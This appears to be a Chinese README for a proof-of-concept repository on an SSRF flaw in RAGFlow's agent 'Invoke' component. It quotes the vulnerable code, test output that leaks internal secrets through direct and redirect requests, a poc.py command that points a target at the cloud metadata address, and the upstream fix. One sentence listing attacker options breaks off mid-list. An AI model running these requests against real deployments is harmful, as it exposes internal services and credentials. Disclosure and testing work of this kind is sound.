RAGFlow 代理工作流 "Invoke" 组件中的服务端请求伪造(CWE-918),影响 0.26.3 之前的版本。
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| 修复版本 | v0.26.3 |
| 修复提交 | c4fe68e, e16d1a0 |
| 问题引用 | infiniflow/ragflow#15425, #18280 |
| 安全公告 | VulnCheck |
在 v0.26.2 的 agent/component/invoke.py 中,Invoke 组件根据用户提供的变量模板构造请求 URL,并且不执行任何对解析后主机的验证:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
该 URL 会传入 _send_request() 中的 requests.get/post/put。由于 allow_redirects 保持 requests 默认值(True),攻击者可以:
url 设置为内部地址(127.0.0.1、169.254.169.254、RFC1918 网段,不存在解析主机固定机制),或修复方案增加了 assert_url_is_safe() + pin_dns(),并强制设置 allow_redirects=False。
与"看似相似"的重新实现不同,本仓库运行的是存在漏洞组件的未修改 v0.26.2 源码:
target/invoke_v0.26.2.py — 与 v0.26.2 标签中的 agent/component/invoke.py 逐字节一致。e2e/test_genuine_ssrf.py — 通过精简的导入桩加载该真实文件(桩仅替换无关导入:ComponentBase、timeout 装饰器和 HtmlParser — SSRF 路径逻辑完全未被改动),并证明该组件可直接访问内部服务,也可通过重定向链访问。e2e/test_fix_guard.py — 在完全相同的文件上应用上游防护(assert_url_is_safe、allow_redirects=False),并展示请求被阻止。通过三种独立方式验证:
e2e/test_genuine_ssrf.py 驱动未修改的 target/invoke_v0.26.2.py 源码,针对回环实验室服务器 — 确认 SSRF。e2e/test_fix_guard.py 对同一文件应用上游防护 — 请求被阻止。docker compose 运行 RAGFlow v0.26.2(infinity+mysql+minio+valkey);真实代理流程中的 Invoke 节点从内部主机端口获取了 INTERNAL-DB-SECRET:dbpassword=SuperSecret123。逐字证据见 LAB_DEMO.md。cd e2e
python3 test_genuine_ssrf.py # 必须输出 SSRF confirmed(存在漏洞)
python3 test_fix_guard.py # 必须输出 BLOCKED(修复后行为)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
需要已认证的会话令牌(Invoke 在代理流程内运行)。
python3 poc.py --poc # 本地 E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke 节点的 URL 模板限制为白名单。已在 RAGFlow v0.26.3(2026 年 8 月)中修复。本 PoC 根据公开安全公告和修复提交独立重建,仅用于授权的安全测试和教育目的。与 InfiniFlow 无关联。